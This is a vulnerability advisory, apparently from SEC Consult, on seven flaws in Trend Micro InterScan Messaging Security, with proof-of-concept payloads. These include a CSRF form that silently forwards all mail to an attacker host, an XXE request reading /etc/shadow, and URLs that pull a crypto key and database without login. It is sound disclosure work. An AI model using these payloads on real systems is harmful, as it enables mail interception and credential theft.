“Trend Micro™ InterScan™ Messaging Security provides the most comprehensive protection against both traditional and targeted attacks. Using the correlated intelligence from Trend Micro™ Smart Protection Network™ and optional sandbox execution analysis, it blocks spam, phishing, and advanced persistent threats (APTs).”
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of this and similar Trend Micro products conducted by security professionals to identify and resolve potential further security issues.
1) Cross-Site Request Forgery (CSRF)
CVE-2020-27016 (7.5 CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)
A web service accessible to authenticated administrators allows modifying the appliance’s policy configuration. This web service can also be accessed by leveraging a CSRF scenario. An attacker could therefore modify policy rules (e.g. bypass malware checks or forward all mails to another host) by tricking an authenticated administrator into accessing an attacker-controlled web page.
2) XML External Entity Processing (XXE)
CVE-2020-27017 (7.6 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L)
The web service from vulnerability #1 accepts requests in the form of XML documents. The XML parser used is not configured correctly, thus allowing an authenticated administrator to read arbitrary local files through XXE.
Through an OOB XXE attack an attacker can exfiltrate local files through CSRF (see #1).
3) Over-privileged Users/Services
Sudo is configured to allow several system users access to the root account. An attacker gaining control over one of these accounts can access the system as root. Moreover, several services are executed with the privileges of the user root. Therefore, finding #2 allows an attacker to read files only accessible to root (e.g. /etc/shadow).
4) Server Side Request Forgery (SSRF) & Local File Disclosure
CVE-2020-27018 (2.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N/E:U/RL:X/RC:X)
A script accessible through the appliance’s web server can be abused to request any URL (e.g. http(s), file). An authenticated attacker can e.g. access any http(s) resources or parts of some local files.
5) Information Disclosure
CVE-2020-27019 (4.8 CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L/E:U/RL:X/RC:X)
An SQLite database as well as a cryptographic key located in the webroot can be accessed without authentication.
Note: It is unclear what the key is used for and whether the SQLite database could contain sensitive information in specific configurations.
6) Insufficient Password Storage
CVE-2020-27693 (3.1 CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:L/E:U/RL:X/RC:X)
The appliance stores passwords of administrative users as unsalted MD5 hashes which can be cracked easily.
7) Outdated Software
CVE-2020-27694 (4.6 CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L/E:U/RL:X/RC:X)
Several software components installed on the appliance are outdated. Moreover, the software updates provided by Trend Micro do not update the packages of the CentOS base system.
SEC Consult did not verify whether the vulnerabilities identified through the version information are present or whether the vulnerabilities have an impact on the security of the system.
Proof Of Concept
1) Cross-Site Request Forgery (CSRF) (CVE-2020-27016)
The following request will create a rule that forwards all mails to an attacker:
POST /ws_policies.imss HTTP/1.1 Host: [...] Cookie: JSESSIONID=[...]; Content-Length: 374 <policies> <policy name="forward all traffic to attacker" note="forward all traffic to attacker" enable="yes" version="1" order="1" type="other"> <route direction="incoming"> <from anyone="yes"></from> <to anyone="yes"></to> </route> <actions> <hand_off>attacker:25</hand_off> </actions> </policy> </policies>
The following HTML fragment shows how this request can be sent in a CSRF scenario:
<form action="https://[...]:8445/ws_policies.imss" method="POST" enctype="text/plain"> <input type="hidden" name='<policies><policy name' value='"forward all traffic to attacker" note="forward all traffic to attacker" enable="yes" version="1" order="1" type="other"> <route direction="incoming"><from anyone="yes"></from> <to anyone="yes"></to></route> <actions><hand_off>attacker:25</hand_off></actions> </policy></policies>' /> <input type="submit" value="Submit request" /> </form>
2) XML External Entity Processing (XXE) (CVE-2020-27017)
The following request demonstrates the retrieval of /etc/shadow:
POST /ws_policies.imss HTTP/1.1 Host: [...]:8445 Cookie: JSESSIONID=[...]; Content-Length: 290 <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]> <policies> <policy name="test" note="test" enable="yes" version="1" order="2" type="virus"> <route direction="incoming"> <from anyone="no"> <group>&xxe;</group> </from> </route> </policy> </policies>
3) Over-privileged Users/Services
The local users “admin”, “enable” and all users in the group “cliusers” can execute commands as root (no password entry required). Note that at least for the users “admin” and “enable” a restricted shell is configured, thus shell access is not easily possible.
Several network services (e.g. Tomcat, OpenLDAP, imssmgr) are executed as root.
Trend Micro supplied the following additional information:
- (a) If an IMSVA user created clish users, they can only run limited commands (IMSVA pre-defined commands) and all of these are one time commands (not a running service in the backend)
- (b) Most of these clish commands only read logs, and does not accept any arguments, so it cannot terminate or inject commands.
- (c) Few commands (such as ping) only accept few arguments (such as IP), but these are well-checked. Users cannot input any arguments with other meaning, so it cannot terminate or inject commands.
Trend Micro decided not to include vulnerability #3 in the hardening/patch of the product as admin and enabled accounts are as important as root and changing the architecture would cause some functions not to work as expected.
4) Server Side Request Forgery (SSRF) & Local File Disclosure (CVE-2020-27018)
The URL demonstrates the retrieval of an HTTP URL through the appliance: https://<host>:8445/widget/proxy_controller.php?module=modSimple&userGenerated=1&serverid=1&url=http://test
When accessing file:// URLs, the application sends only the content that follows a sequence \r\n\r\n. Therefore only parts of certain files can be retrieved.
5) Information Disclosure (CVE-2020-27019)
The following URL demonstrates the unauthenticated retrieval of a cryptographic key:https://<host>:8445/widget/repository/inc/class/common/crypt/crypt.key
Moreover, an SQLite database can be retrieved. https://<host>:8445/widget/repository/db/sqlite/tmwf.db
The contents of these files have not been further investigated.
6) Insufficient Password Storage (CVE-2020-27693)
The passwords for local administrators are stored in a Postgres database (table tb_administrator, column md5_digest). The hashes are stored as unsalted MD5 digests which can be cracked easily.
7) Outdated Software (CVE-2020-27694)
The following software versions are present in an appliance with patch level 1993:
- PHP 5.6.38 (PHP 5.6 is EOL)
- Apache HTTPD 2.4.37 (see httpd.apache.org/security/vulnerabilities_24.html)
- Apache Tomcat 9.0.13 (see tomcat.apache.org/security-9.html)
The appliance is built on top of a CentOS base system. The CentOS packages appear not to be updated with appliance updates. In a test system, the command “yum check-update” yielded 203 updates to installed packages.
Vulnerable / Tested Versions
Version 188.8.131.520 Critical Patch 1993 has been tested and was found to be vulnerable. Previous versions are affected as well.